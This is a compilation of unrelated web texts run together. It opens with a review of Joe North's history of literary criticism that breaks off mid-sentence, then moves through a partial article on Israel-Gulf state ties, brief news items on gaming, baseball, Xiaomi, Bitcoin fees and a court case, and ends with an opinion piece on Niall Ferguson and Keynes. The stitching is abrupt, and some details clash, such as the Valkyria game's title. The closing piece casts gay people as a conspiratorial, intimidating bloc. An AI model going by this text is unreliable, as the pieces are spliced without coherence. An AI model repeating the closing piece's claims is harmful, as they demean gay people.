In practice, what one believes literary studies is, or should be, often depends on where one went to university. Certain figures loom larger in the imagination of one institution than another. The history of literary studies at Columbia must include Lionel Trilling and Edward Said; at Yale, the genealogy needs to account for a transition from William Wimsatt to Harold Bloom and Paul de Man. The fact that almost no one currently teaching at Yale wants to claim these ancestral figures as influential is itself part of the story. Influence is cunning and seldom direct. But even a perfect genealogy would not imply that the methods and traditions these figures espoused were handed down in an unbroken line. It turns out that no one has really measured how accurately or effectively any understanding of how to read literature propagates throughout a culture. The Modern Language Association does not own a patent or have a monopoly on reading practices. Mutations happen often. And there remains the uncomfortable fact that most people’s deepest reading habits are developed in a secondary education system, not the university.
Imagine a “people’s history of literary studies” as unglamorous and antiheroic as the accounts of Austerlitz and Waterloo sketched by Tolstoy and Stendhal — a chronicle of mixed intentions and earnest people, a hundred high school classrooms steeped in adolescent hormones, misunderstandings, weirdos, conscripts, mediocrities, two hundred Lucky Jims and Janes for every J. Hillis or D. A. Miller. Moments of brilliance — the founding of new schools and new ways of reading — would be of less import than the countless hours spent plodding through conferences, faculty meetings, and exams. It would be something like social histories of epidemics, focused on describing the multiple points and routes of contact and transmission, the conditions and practices that facilitated or forestalled the spread.
Joe North’s Literary Criticism: A Concise Political History is not quite this book. North does profess a suspicion of great-person (or great-author) theories, always warning us to understand them as “emblems” of larger tendencies at work, but his project remains an intellectual history of recognizable names and schools. The adjective political, in the title, is dangled as bait to North’s intended audience: comrades on the left, both inside and outside the university, who’ve lost the knack for understanding each other when the subject turns to culture. But for all his careful signposting, North, a young professor of English at Yale, does take several strides in the direction of my fantasized path, mostly because he’s openly expressing bewilderment about the direction of the discipline. Like Fabrizio del Dongo looking at the pile of abandoned caissons and rifles at Charleroi, unsure if he has really been in battle, North wonders if everything he and his colleagues have been trained to do, over the years, really counts as “literary studies.” He feels his way toward an answer to a large and important question: How did literary studies come to turn away from an “institutional program of aesthetic education” and embrace what he terms the “historicist/contextualist paradigm”?
Those recently acquainted with university literature courses will grasp this distinction intuitively, even if most people under 40 have only a dim idea of what “an institutional program of aesthetic education” might mean in real life. For those outside the high paywalls of the academy, a brief version of the historicist/contextualist paradigm runs something like this: The vagaries of genre, style, and narrative make literature a special record of resistant, oppressed, and marginal subjectivities. This is literature’s value. Sometimes the literary text excludes or hides these voices; sometimes, inadvertently or programmatically, it amplifies them. Research into the text’s period can disclose its latent or overt political meaning. The work of scholarship, or criticism (the conflation of the two is part of the problem North diagnoses), is therefore to show the encoding of specifically and exclusively political desires within and through literature.
Under the reign of historico-contextualism, literary study has merely become another means to learn about political or economic history. Tweet
The point of calling this a paradigm rather than a program or method is to suggest that certain basic assumptions function almost subliminally, or subconsciously, across the length and breadth of academic literary study. Although, for instance, Joel Fineman’s psychoanalysis-influenced study of Shakespeare’s sonnets, D. A. Miller’s The Novel and the Police, Paul Gilroy’s The Black Atlantic, and Lee Patterson’s work on The Canterbury Tales would seem to have little in common in terms of content, North is able to show — via a montage of quotations from the introductions to these and other works that academics would recognize as “canonical” or “foundational” to different literary subfields over the past half-century — that all of them link literature’s formal qualities to an analysis of power structures. Literary study is meant to produce a specific kind of knowledge about, or dialogue between, art and politics, North writes. Whether this knowledge is primarily knowledge of literature or whether this conversation is between equals is unclear. Under the reign of historico-contextualism, literary study has merely become another means to learn about political or economic history.
Though the historicist/contextualists have triumphed, the rout of aesthetic education, North argues, was not preordained and may be reversible. Once upon a brief time in the 20th century, there was something called literary criticism, sustained at universities through courses in critical practice and literary form. The work of criticism existed alongside the drier duties of scholarship, which consisted of archival sorting; manuscript contrast; annotated editions of minor works; studies of period, genre, or single author; and so on. While formalism and scholarship both survive in pockets of the contemporary university, the dominant trend over the past half-century has been toward the production of hybrid critical-scholarly works, like those mentioned above, aimed at an increasingly small audience of similarly trained “professionals in the field.”
The way we do literary studies now, in North’s genealogy, has its roots in a series of misreadings — some willful, some merely erroneous — of one of its foundational figures: the Cambridge-based proponent of “practical criticism,” I. A. Richards. Richards seems an odd choice of primal ancestor. Those casually familiar with his name are likely to associate it with some dreary practice of “close reading” propounded by the midcentury New Critics in the United States, or with F. R. Leavis’s Scrutiny coterie in England. The dread textbook used to kill the imaginations of boarding school boys in Dead Poets Society borrows its title — Understanding Poetry — from Richards’s New Critical antagonist, Cleanth Brooks, attributing it to some English guy with an initial for a first name. These associations and confusions are not limited to Hollywood. As North sets out to illustrate, they comprise various idées reçues and academic shorthands, which have sunk so deeply into literary studies as to be nearly ineradicable.
The Richards who needs to be exhumed from this morass is of a more radical character than posterity has allowed. During his prime at Cambridge in the 1920s and early ’30s, Richards was interested in developing an empirical groundwork for readers’ aesthetic emancipation: an approach to literature that would free them from feeling duty-bound to think or talk about it in a prescribed way. Much of Richards’s drily titled Principles of Literary Criticism (1924) stages a wry but captivating argument against the popular jargon of its era, which happened to include terms like aesthetic. Although North doesn’t say so, Richards’s often laconic mode of investigation was developed as an antidote to, and reaction against, the assertive criticism of T. S. Eliot, as well as the seductive stylings of Walter Pater, Oscar Wilde, and other fin-de-siècle aesthetes still en vogue among the Cambridge literary scene when Richards arrived there. To read the student responses to Richards’s literary exercises, and his own comments — both published in Practical Criticism (1929) — is to be ushered down the corridor to the perfect tutorial we never attended. We catch echoes of a now-vanished conversational mode: teasing but not cruel, ironic without antagonism, respectful yet suspicious of the operations of human intelligence.
Not averse to a bit of historico-contextualism in his own work, North puts Richards back in tune with a global modernist moment of criticism and philosophy that cherished the reception of literature as a form of production by complex human beings, rather than mere consumption by limited or inhibited subjects. Practical Criticism, Richards’s most influential work, shares this interest in the activist and enlivening potential of attentiveness with works by his close contemporaries, including the American Pragmatist John Dewey’s Art as Experience, Walter Benjamin’s cryptic and heterodox “The Work of Art in the Age of Mechanical Reproduction,” and the Soviet critic Viktor Shklovsky’s study of estrangement. With his skeptical style and manner of conducting thought experiments, Richards, at times, also resembles his Cambridge colleague Ludwig Wittgenstein. Criticism, for Richards, was a two-part dance that North characterizes as “diagnostic” and “therapeutic.” Richards referred to the diagnostic part as “fieldwork in comparative ideology.” He handed his students poems and fragments of larger works, presented without authors, titles, dates, or other paraphernalia, and asked them to write brief responses and to note how many times they had read each excerpt. Then he would parse the responses for tendencies, hobbyhorses, streaks of enlightenment or blockage (similar to Freud’s approach to free association), with the ambition to develop “a natural history of human opinions and feelings.” The therapeutic aspect aimed to unshackle the students from the imperatives to do “crit” in the ways they imagined it should be done. As happened in the case of psychoanalysis, this approach resulted in a number of students who adopted the language of Richards’s observations and manners as unreflectively as they had taken on the ideology of previous critical methods. Any liberationist movement will unfailingly produce its dogmatists, but the “practical critic,” in theory anyway, was meant to be a synonym for a free person, judging freely but not in ignorance. One didn’t study literature because one cared for dead letters, but because, as Richards believed, “the arts, if rightly approached, supply the best data available for deciding what experiences are more valuable than others.”
It’s the sentiment of this last part, in North’s account, that appears to have caused most of the trouble with Richards’s reception and later reputation. For the American school of New Critics, who adapted Richards’s exercises but ignored or confounded their purpose, the open question of which readerly experiences were more valuable to an individual reader than others became which works were more valuable to a culture or society than others — resulting in the notion that only texts already deemed to have intrinsic value could produce valuable reading experiences. This was, North points out, getting Richards backward. The old hermeneutic carousel started up again, but with Richards’s name attached to it forevermore (at least until North or one of his fans gets around to editing Richards’s Wikipedia page).
For F. R. Leavis — cofounder of Scrutiny, the most influential journal for a generation of interwar British critics, as well as Richards’s student, colleague, and successor at Cambridge — value came to mean moral value, and experience the experience portrayed in a text, rather than the reader’s experience of reading it. Literature was, to Leavis’s way of thinking, itself a form of criticism, “the criticism of life.” If we read primarily to discover how to live, we also read to discover how not to. This allowed Leavis to reintroduce a strain of ethical puritanism and implicit class and racial snobbery to the practice of textual analysis, even though much of his career was devoted to elevating the reputation of D. H. Lawrence, whose works were considered the height of immorality when Leavis defended him.
Both New Critics and Scrutineers, North suggests, sought to root literary studies on culturally (if not always politically) conservative grounds, interpreting the cultivation of aesthetic sensibility to be synonymous with its restriction and policing. Whereas Richards often found his students to be misguided or preprogrammed in their responses, his attitude toward error was more generous than New Critics William Wimsatt and Monroe Beardsley’s, with their catalog of reading “fallacies” that young critics must avoid. The American New Critic was supposed to arrive at the correct level of cultivation by following correct reading practices, which would inevitably entail correct moral, social, and aesthetic judgments about which texts could be deemed valuable and therefore worthy of emulation or preservation. Inevitably, this disciplinarian approach transformed Richards’s open-ended exercises into tests with right answers; a canon came to be proposed or implied from a selection of poems and novels that, in the New Critical lexicon, “worked.” Behind the practice of what came to be called close reading stood the usual power relations, both extra- and intracurricular, that closed off what was intended as a process of meaning-making and independent judgment.
Also lost in this turn from method to doxa were the aspects of Richards’s work that anticipated, by more than thirty years, the outlook of what we’ve come to call cultural studies:
When we look at a picture, or read a poem, or listen to music, we are not doing something quite unlike what we were doing on our way to the gallery or when we dressed in the morning. The fashion in which the experience is caused in us is different, as a rule the experience is more complex, and, if we are successful, more unified. But our activity is not of a fundamentally different kind.
North’s argument, in essence, is that a false binary was created, misaligning Richards with various schools of reactionary “highbrow” aesthetics, which were counterposed with more politically and historically minded schools. Because practical criticism, like close reading, was claimed by the right and the moralizing center, it ultimately had to be disavowed and consigned to oblivion by the left — most notably in the work of Leavis’s pupil Raymond Williams. Although Williams described his generation’s exposure to practical criticism as “intoxicating” and recalled, in a late interview, that “at the time we thought it was possible to combine this with what we intended to be a clear Socialist cultural position,” the idea proved “ludicrous, since Leavis’s cultural position was being spelt out as precisely not that.” As North sets things up, Williams is the hinge figure who most clearly embodies the transformation of literary studies from Cambridge criticism to the engaged critique offered by various kinds of left historicisms (Politics and Letters and the New Left Review, Fredric Jameson, postcolonial theory, feminist criticism, queer theory) and is unintentionally complicit in forming the institutional, professionalized version of these that emerged in the New Historicism of the 1980s and early ’90s. Williams, like Richards, was interested in what he called “structures of feeling,” but these were objects of historical study rather than contemporary analysis. The arts still provided the best data about which experiences were valuable, but not to the student’s own life, rather to the lives of those who had gone before. Instead of doing practical criticism for one’s own sake, the literary scholar-critic attempts to explain how previous generations engaged practically with the literature and culture of their own time.
North’s account of practical criticism’s fate is strongest in these moments. When he delves into the nuances of arguments among four generations of Cambridge School critics, including their direct American inheritors and Williams’s student Terry Eagleton, he reveals flickers of lost possibilities and roads not taken. What if Williams had understood Leavis’s version to be a corruption of Richards’s original model rather than its orthodox form? Would Eagleton, more bon élève than enfant terrible as is usually thought, have been less wistful about the fate of criticism in his old age — a dying art, “like thatching or clog dancing,” he once said — had he allowed himself to look at Richards with a more open mind at an earlier point in his career?
The matter of Richards’s reception, however, occupies only the first half of a rather short book that aims to account for the past century of literary studies. With this scope, the second half unfolds in the manner of a flight over a landscape at great height. Features of large landmasses are clearly visible — there are ample glimpses of Jameson and Moretti, for instance — but since many of the details must be inferred, it helps to have one’s own mental map of things on the ground. This launch into the empyrean of synopsis, adequately ballasted by endnotes, is the sort of grand gesture that will probably leave North’s most informed readers prone to an attack of the quibbles. Distinct provinces of literary study, which often jealously guard their borders and compete for sparse funding and dwindling faculty positions, are seen as aspects of a single territory, governed from Mount Williams.
Whatever vertigo it may occasion, this way of looking permits one of North’s more brilliant and controversial revisions of standard histories of the discipline: the sidelining of literary theory, which he partly accomplishes by calling it simply “the 1960s.” As he correctly points out, “theory,” although we’ve been taught to think of it as a mammoth, encompassing, singular term, |
. Saudi Arabia has exploited the breakdown in the Hamas-Iran relationship over the Syrian conflict. Riyadh has also reached out to Fatah to counter PA President Mahmoud Abbas's increasingly cordial relationship with Iranian opposition factions. These aid provisions demonstrate that Saudi policymakers have made containing Iran a greater priority than creating a viable Palestinian state.
Israel's soft power in the Middle East has been bolstered considerably by strains in the GCC-Palestine relationship. Even though representatives of the Kuwaiti and Bahraini monarchies expressed solidarity with Palestinian nationalists at the July 25 Arab League summit in Mauritania, the absence of Saudi Arabia's King Salman was a striking demonstration of the declining importance of Palestine to GCC countries.
The Gulf monarchies have also tacitly encouraged Hamas to soften its militant opposition to Israel's occupation of the Palestinian territories. Israel has encouraged supervised dialogues between Hamas officials and their GCC patrons to ensure that the Palestinian terror organization embraces a moderate course in the years to come. In the eyes of Israeli policymakers, the increased reluctance of GCC leaders to antagonize Israel demonstrates that the Israel-GCC anti-Iran axis is becoming a durable feature of the Middle Eastern geopolitical arena.
Economic and Security Cooperation Between Israel and the GCC
The declining importance of the Palestinian conflict as a wedge issue between Israel and the GCC has caused the Gulf monarchies to engage with Israel in an increasingly pragmatic way. Saudi Arabia has developed clandestine business deals with Israeli companies in recent years, even though Riyadh officially maintains a stringent boycott on Israeli goods. To circumvent the trade boycott, Israeli goods have been shipped to Saudi Arabia under the purview of foreign companies. This circumvention has allowed Israeli IT products and irrigation technology to enter Saudi markets.
Israel has also made progress towards expanded economic cooperation with Qatar. Business elites in Doha have covertly expressed interest in Israeli high-tech products, which have typically been exported to India and Eastern Europe. The Qatari monarchy believes that access to these products could convince Qatari engineers who study from foreign universities to return to Qatar after graduation.
Some Israeli business elites have embraced GCC economic overtures, as they believe that deeper informal engagement with Saudi Arabia, the UAE and Qatar will prevent Israeli economic isolation. The Israeli Peace Initiative, founded by London-based Israeli billionaire Idan Ofer, has embraced economic deals with the GCC bloc as a gateway to lasting peace in the Middle East.
Even though the GCC bloc officially regards Israel as a security threat, the Gulf monarchies have greatly expanded their defence and intelligence cooperation with the Israeli military. GCC officials have signed covert deals with the Israeli defence contractors to gain access to the IDF's prized military technology. In 2011, Israeli companies sold an estimated $300 million of military technology to the UAE. The Emirati government used Israeli military technology to secure the UAE's oil wells. Israeli media reports have also claimed that the IDF has offered Saudi Arabia Iron Dome military technology to defend Saudi territory from Yemeni rocket launches.
Small-scale provisions of military technology and security assistance by Israeli companies to the GCC bloc have provided the foundations for expanded Israel-GCC anti-Iran military cooperation. In 2009, Saudi Arabia allegedly tested its air defences to evaluate Israel's ability to use Saudi territory for a military strike on Iran's nuclear facilities. During a June 2015 Council of Foreign Relations event in Washington, representatives of Israel and Saudi Arabia revealed covert diplomatic meetings between the two countries over Iran's nuclear ambitions.
These dialogues have surprising public support within Saudi Arabia. The Associated Press reported in 2015 that 53% of Saudis view Iran as Saudi Arabia's primary adversary, compared to the 18% of Saudis who viewed Israel as Saudi Arabia's biggest enemy. The amelioration of the Saudi public's belligerent hostility towards Israel has also translated into closer diplomatic linkages.
Israel supported Egypt's handover of two Red Sea islands to Saudi Arabia in April 2016. The Israeli Defense Ministry confirmed that Riyadh had given Israeli policymakers written assurances of the continued safety of the Straits of Tiran. As the Saudi monarchy's domestic legitimacy depends on continuing Riyadh's existential struggle against Iran, King Salman is likely to make similar diplomatic compromises to Israeli interests in the years to come.
Israel's strengthened economic and security cooperation with the GCC bloc is closely related to the GCC's growing indifference to the situation in Palestine, and Riyadh's single-minded desire to undercut Iranian influence in the Middle East. Even though GCC countries are unlikely to recognize Israel's right to exist, informal Jerusalem-Riyadh cooperation is likely to continue for the foreseeable future. As the United States continues its normalization efforts towards Iran, Washington needs to pay close attention to the scope and nature of Israel-Saudi Arabia collusion in the Middle East.
Samuel Ramani is a DPhil candidate in International Relations at St. Antony's College, University of Oxford. He is also a journalist who contributes regularly to the Washington Post and Diplomat magazine. He can be followed on Twitter at samramani2 and on Facebook at Samuel Ramani.Nobel laureate Sancar donates his award to Anıtkabir
ANKARA
AA photo
In Stockholm while accepting his award last December, Sancar expressed his gratitude to the republic for “sponsoring most of his education.”
“This award was earned thanks to Atatürk,” he said at the time.
Sancar had announced on May 17 that he would also donate a replica of his Nobel medal and certificate to Istanbul University, from which he graduated back in 1969.
Three medals and three certificates are given to Nobel laureates. Professor Sancar gave one of these to the Turkish General Staff and will donate the second to Istanbul University. The other will be kept at the University of North Carolina where he works, while the original has been presented at Anıtkabir.
Aziz Sancar, who won the Nobel Prize in Chemistry last year, has donated his medal and certificate to the mausoleum of Mustafa Kemal Atatürk, the founder of the Republic of Turkey, following celebrations at the site to mark Ataturk Memorial, Youth and Sports Day on May 19.There are quite a few fans out there that can’t get enough of Sega’s Valkyria series, and most of that popularity comes from Valkyria Chronicles Remastered, which caused quite a stir on the PlayStation 4. That said, the franchise has seen better days, as the recently released Valkyria Revolution suffered from a few problems.
But Sega isn’t about to give up on it. During a presentation just a little while ago, the company confirmed that it will return the series back to its roots, with the forthcoming Valkyria Revolution 4 announced for PlayStation 4, Xbox One and Nintendo Switch, arriving in spring 2018.
“Valkyria Chronicles 4 takes place in the same timeframe as the original Valkyria Chronicles, but focuses on a whole new cast of main characters,” Sega noted in a press release. “Players will take command of the eager, young Commander Claude Wallace, engineer/heavy weapons extraordinaire Riley Miller, hotheaded Darcsen Raz, ice-cold ace sniper Kai Schulen, and more. Together, they will experience the painful realities of war—but will the bonds of Squad E’s friendships survive the frozen battlefield?”
The trailer for the “Valkyria Project” can be seen above, and shows the team hard at work on the new project, doing everything from character design to putting together the story, which revolves around friendships and expressions of warmth, amongst other things.
The team looked very closely at watercolor-based design for the game, giving it an artistic touch that fans of older Valkyria games will easily recognize.
Following a behind-the-scenes look at the game, we see the actual trailer, which sets events into motion that will eventually create the story that will make it into the final release. It takes place during the second Europan War, around March 1935 EC. It features a team of characters working closely together, in the thick of war against deadly adversaries.
Though there’s not too much gameplay featured in the trailer, we get a good idea of how well its art style will be put together, as well as what certain characters are capable of in the heat of battle.
We’re likely to see more footage of the game in the weeks ahead, as Valkyria Chronicles 4 will be a very big release for Sega next year. It’s too soon to tell if it’ll be an effective bounceback from Revolution, but it’s definitely a step in the right direction. Be sure to check out the trailer above!
UPDATE: We've got a few more details on release. The game will arrive on PS4 in Japan in March, and Nintendo Switch in summer. The Xbox One version actually won't get a release in Japan, surprisingly enough. As for U.S. release, we only know that all three versions will come sometime next year.
Here are some features from the game, straight from Sega:With Warwick’s well-received rework already out and on the client, it’s time for Riot’s Large Rework Teams to move their focus elsewhere. Riot has two Large Rework Teams -- Alpha and Bravo -- who focus on one specific champion at a time for a major overhaul. Until Warwick’s release, Team Bravo worked on Warwick while Team Alpha worked on Galio.
Tuesday, we received updates on both team’s next projects in a Nexus blog post. With Warwick done, Team Bravo is moving onto Urgot. Team Alpha’s next project after Galio will be Evelynn.
Urgot has been one of the more troubled champions in League of Legends for years, barely seeing any play at the pro or amateur levels and not even really finding a position to stick to. He’s swapped around from ADC to mid to top lane, and it sounds like he’s going to get a completely fresh start:
Urgot is like the poster child of champions with confused thematics, kit, visuals, and narrative. He’s a ranged character with a knife-hand, he’s a Marksman that’s also kind of a tank, that swaps himself INTO the enemy team. He’s Noxian but he looks like he’s from Zaun. There’s A LOT of stuff going on with Urgot that have made him a very difficult champion to rework, but we are happy to announce that we finally have a solid direction for Urgot that we want to go into production with.
Urgot will be receiving a complete visual overhaul as well.
For Evelynn, the stealth jungler has seen a slight resurgence in popularity recently thanks to strong play from FlyQuest jungler Galen “Moon” Holgate on the NA LCS stage, but Riot still sees much to improve.
The first thing we want to address is Evelynn’s kit. Our three big design goals with Evelynn’s kit are to solidify her as the Assassin she was meant to be (not the diver she has become), add a bit more more satisfaction on ability use, and increase her game health. Specifically, we want to make her map presence less oppressive in the early game. We think PermaStealth is a cool and unique trait, so we don’t plan on removing it but we do think there is a healthier version of it that will allow us to shift power elsewhere in Evelynn’s kit.
The team also wants to take a deeper dive into Evelynn’s place in the League of Legends lore.BOSTON - Baseball America released a report on Wednesday that Major League Baseball is investigating the Red Sox for their international signings in 2015.
In an email to MassLive.com, Red Sox president of baseball operations Dave Dombrowski said the club is "not at liberty to comment" about the investigation.
According to the extensive report, MLB is focusing on Boston's signing of multiple Venezuelan players in "package deals" as a way to bypass the bonus pool the team was alloted to sign players.
The Red Sox were limited to a $300,000 bonus pool in 2015 because they had exceeded their spending limit with the previous year's signings, which included rising righthander Anderson Espinoza.
The report says the focus of the investigation is on the 2015 signings of Venezuelan outfielders Albert Guaimaro and Simon Muzziotti, who each signed $300,000 bonuses.
Follow MassLive.com Red Sox beat reporter @jcmccaffrey on Twitter. She can be reached by email at jmccaffr@masslive.com.Xiaomi is holding a press conference in San Francisco today as a way to tell its story to the US press — and while the company said it isn't bringing its phones to the US just yet, it did announce its first foray into selling some of its products here. Global VP Hugo Barra (pictured above) just announced that the company intends to launch its Mi.com online marketplace in the US and potentially some other markets this year. It won't sell any phones when it launches, but the company makes a pretty wide variety of other accessories and smart home items. Specifically, Barra cited products like the company's Mi Band wearable, its Power Bank battery backup solution, its headphones, and other accessories.
Barra cited problems like hardware certification, software testing, infrastructure, and other similar logistical challenges as the reasons for not bringing devices like handsets and tablets to the US. He said that the company is hoping its launch of Mi.com in the US with simpler products that don't have the same regulatory challenges will help expand brand awareness of the company here before it can make bigger moves. When we might see those bigger moves remains to be seen, though — Barra explicitly said that a phone launch in the US is not in the company's roadmap right now.Opponents of the newly introduced Replace-by-Fee option believe it increases the danger of double spending fraud. Others retort that the danger is greatly exaggerated.
Among other features added in the Bitcoin Core 0.12.0 edition, there is Opt-in Replace-by-Fee (RBF). It allows transactions to be flagged as replaceable. In this case, if a transaction sits in the queue to be confirmed by miners for too long, it is possible to upgrade it in order to get it confirmed faster, for instance increasing the fee associated with the transaction or merging multiple transactions into one.
The feature had already been introduced by Satoshi Nakamoto in the initial protocol but was disabled in later core versions due to potential DDoS threat. It was re-introduced in the new Core 0.12.0 probably to make bitcoin payments smoother in the situation when the 1MB block size limit slackens transaction speed. However, many Redditors have been vocal about the dangers of RBF. Indeed, it potentially enables the money sender to meddle in a delayed transaction replacing data. For instance, a bitcoiner may pretend to send an amount of money to the merchant and then send this money to another destination. Some Redditors went as far as to rechristen the new option as “Reroute By Fraud”.
However, others argue that no one compels the merchant to accept RBF-flagged transactions before they are confirmed by miners and become a part of the blockchain. According to the user jarfil, there are four options for merchants:
“1. Accept 0-conf non-RBF transactions, hoping that the transaction will ultimately — some day— be included in the blockchain. 2. Accept n-conf RBF transactions (with n > 0), being sure that once the transactions have been included in the blockchain, they can not be replaced anymore. 3. Be a total moron and honor 0-conf RBF transactions, that can be rewritten a thousand times before they get included in the blockchain. 4. Be paranoid and only accept n-conf non-RBF transactions, which are already included in the blockchain, and offer the same security as n-conf RBF transactions.”
Many users believe that the third option is the only one posing any real danger to the money receiver.
Alexey TereshchenkoI always said that if I was a single gal living in the big city Carrie Bradshaw-style, I'd get a huge, scary, barking, biting dog with fangs that made the Grim Reaper's sickle look like a cashmere throw. Because, you know, he'd protect me from rapists and robbers. And in a twist of irony, his name would be Flaco.
Alas, though, my days as a free-wheeling, vodka-swilling, solo gal are long behind me. And that's a good thing. Because I would probably be dead right now. Turns out my expensive attack dog purchase would have been completely for naught. What Single Nicole really should have purchased in her alternate universe was an attack bird.
Beg to differ? Well, why don't you tell that to Jack Dukes' pet macaw, Charlie, who kicked the asses of the two men robbing and beating him. Caw-caw-caw!
AdvertisementDENVER—There’s no deal yet for a former CIA contractor accused in a fight over a parking spot in Colorado.
A judge had been set to consider a plea agreement for Raymond Davis on Monday but Davis’ lawyer, William Frankfurt, told him the proposed deal unraveled after the lawyer for the alleged victim, Jeffrey Maes, added unspecified conditions on Friday.
After the hearing, Maes’ lawyer, Larry Klayman, said the deal should include an apology or jail time as well as restitution or anger management classes.
“It just can’t be that you walk away from this without any punishment,” he said.
Frankfurt said the new conditions were making it more difficult to reach a resolution in the case.
The case had been set to go to trial Tuesday but lawyers were not ready to proceed. An angry Judge Richard Brewst Caschette gave them until March 1 to reach a deal or Davis would go on trial July 15.
Davis is charged with felony assault and misdemeanor disorderly conduct in the fight outside a suburban Denver bagel shop. A conviction on the felony charge would carry a minimum 2 years in prison.
The proposed deal had called for Davis to plead guilty to a misdemeanor assault charge in exchange for probation. It also called for him to pay restitution to Maes and take anger management classes.
Davis, then a CIA contractor, was detained by Pakistani authorities in January 2011 after he shot and killed two men he said tried to rob him. Pakistan released Davis that March after the families of the men agreed to accept $2.34 million from the U.S. government.
Klayman has also filed a lawsuit on behalf of Maes and Maes’ wife and two children, who witnessed the fight. The lawsuit claims Maes suffered a fractured vertebrae and other injuries.
Frankfurt disputes the claim that Maes suffered a fracture. He said Maes may have injured himself by allegedly trying to tackle Davis during the altercation.Harvard financial historian Niall Ferguson has gotten himself into the usual sort of Larry Summers / James D. Watson-style trouble for answering a question about economist John Maynard Keynes’s famous quip—“In the long run, we are all dead”—by cheekily pointing out that Keynes was a childless homosexual. There’s no transcript of his original remarks, but a writer who heard him speak wrote it up on his magazine’s website. [Harvard Professor Trashes Keynes For Homosexuality, By Tom Kostigen, fa-mag.com, May 3, 2013.]
Ferguson commented: “In the long run our children, grandchildren and great-grandchildren are alive, and will have to deal with the consequences of our economic actions.”
Ferguson has groveled, needless to say, but the Homintern is still pursuing him—see Niall Ferguson: Keynes Was Gay for Germany, by Jonathan Chait, nymag.com, May 7, 2013.
(In contrast to Keynes, the philoprogenitive Ferguson has three children by his first wife and one by his latest, the courageous anti-Islamist activist Ayaan Hirsi Ali.)
Ferguson’s off-the-cuff comments generated a vast global spasm of gasping and tsk-tsking. A Google search of “niall ferguson keynes gay” comes up with over two million hits.
Why the hysteria?
Because intellectual life has declined to the point where all that matters is Are You on the Side of the Good Guys or the Bad Guys? And the Good Guys are powerful groups of self-proclaimed victims.
Ferguson’s suggestion that family life can influence ideology is, of course, true. For example, Mitt Romney carried only 16 percent of the gay vote in 2012 in contrast to 57 percent of the married vote. Over the last four elections, the rate in each state at which whites are married has been the strongest determinant of the Electoral Vote.
But Ferguson felt it necessary to issue “An Unqualified Apology” [May 4, 2013]because he makes a lot of money giving speeches to financial organizations, so he can’t afford to offend Designated Victim Groups that play a major role within them—such as gays, Jews, and women. At this moment in our culture, gays are particularly dominant, and thus are looking for ways to throw their weight around to intimidate skeptics for good.
What’s more striking, though, are the Voluntary Auxiliary Thought Police who rush in to denounce heretics. As Dennis Dale commented during another recent brouhaha of ridiculous moral outrage:
The Left has routed us and is now chasing us into the weeds to cut us down individually—because they haven't even the capacity to imagine doing anything else.
What are they going to do, declare victory and behave graciously? Where's the fun—or more importantly the influence and cash—in that? They are like a vast standing army with nothing to do and no wish to return to civilian life.
Still, Ferguson was somewhat unfair. Keynes (1883-1946) betrayed today’s conventional wisdom by doing the supposedly impossible: he converted, permanently, from a homosexual lifestyle to a heterosexual lifestyle when—to the shock and dismay of his former Bloomsbury boyfriends—he married the popular ballerina Lydia Lopokova in 1925.
He wasn’t under any particular social or career pressure at the time. He just switched his affections.
Moreover, we can see that Keynes was concerned about the welfare of future generations of the British from his lifelong advocacy of….(wait for it) eugenics!
After all, in 1911 Keynes, along with the great statistician and geneticist Ronald A. Fisher, R.C. Punnett, and Horace Darwin, helped found the Cambridge Eugenics Society. Keynes was a eugenics activist throughout his life, serving as an official of the national eugenics promotion organization from 1937-1944. In the year of his death, 1946, Keynes made a speech citing eugenics as “the most important and significant branch of sociology.”
If Ferguson had excoriated Keynes for pushing eugenics, he would have not heard a peep of criticism. He just forgot who is riding high at the moment and who is not.
While the economist indeed had no children (his wife apparently miscarried in 1927), his brother, Sir Geoffrey Keynes, the leading surgeon, married Charles Darwin’s granddaughter. Their son, the scientist Richard Darwin Keynes, married the daughter of a Nobel laureate. The economist’s great-great-grandnephew Skandar Keynes is the young movie star who played Edmund in the Narnia series.
Still, Ferguson’s sniping offered a not unreasonable summary of the overall agenda of the Bloomsbury Group of North London intellectuals, which included Keynes and novelists E.M. Forster (A Passage to India) and Virginia Woolf (Orlando). Perhaps more books have been written about the upper-class Bloomsbury clique than about any similar group. The most famous members were homosexual or bisexual, and the relationship of their sexual orientation to their aversion to the traditional Victorian virtues has been analyzed at endless length. Ferguson’s crime, of course, is simply that he mentioned this correlation with less than full approbation.
Bloomsbury was run by a former boyfriend of Keynes, Lytton Strachey. A conscientious objector, Strachey had succeeded in 1916 in being exempted from conscription due to his doctors’ excuses. During a hearing, he was famously asked:
“Tell me, Mr Strachey, what would you do if you saw a German soldier attempting to rape your sister?” “I should try to interpose my own body.”
Strachey’s 1918 bestselling attack on 19th Century worthies, Eminent Victorians, popularized gay snark. Strachey’s undermining of the sense of duty laid the basis for the intellectual climate of pacifism and appeasement that triumphed, so catastrophically in Britain, in the 1930s.
As Paul Johnson noted in Modern Times, the goal of the Bloomsberries was to sap the Victorian public virtues that had put Britain on the top of the world by the later 19th Century in favor of private pleasures (of a muted English variety). Strachey had seized upon the Cambridge philosopher G.E. Moore’s quietist, anti-patriotic endorsement of friendship and made it the central ideology of the Bloomsbury coterie. Thus, Forster notoriously wrote (in 1938!):
If I had to choose between betraying my country and betraying my friend I hope I should have the guts to betray my country.
Of course, under Strachey’s guidance, Moore’s notion of “friendship” was given a particular twist that had to be kept half-concealed under a vague impression of aestheticism. Bloomsbury was, in essence, a languid, elitist homosexual conspiracy.
Strachey wrote to Keynes in 1906 about the short-term difficulties facing their project and its long-term prospects of success:
It's madness of us to dream of making dowagers understand that feelings are good, when we say in the same breath that the best ones are sodomitical. If we were crafty and careful, I dare say we'd pull it off. But why should we take the trouble? On the whole I believe that our time will come about a hundred years hence, when preparations will have been made, and compromises come to, so that at the publication of our letters, everyone will be, finally, converted. [Bloomsbury's final secret, By Paul Levy, Telegraph (UK), March 14, 2005]
Emphasis added.
Yet, in contrast to Strachey, Forster (who didn’t write a single novel over the last 46 years of his life), and Woolf (who killed herself in 1941), Keynes himself turned out to be made of sterner stuff. He made an unexpected transition from hedonist to something of a hero as he more or less worked himself to death in the service of his country from 1939 to 1946, dying of a series of heart attacks at age 62—35 years younger than his father and mother, who both survived him.
Whether Keynes’ impressive last two decades had something to do with his marrying a woman is an interesting question—which, naturally, hasn’t been asked in the current tumult. The other Bloomsberries were frightfully snobbish toward the new Mrs. Keynes, whose father had been born a serf, even though other great men, such as T.S. Eliot and H.G. Wells, found her a delight. But Keynes didn’t particularly care about his coterie’s disdain for his wife. He loved her.
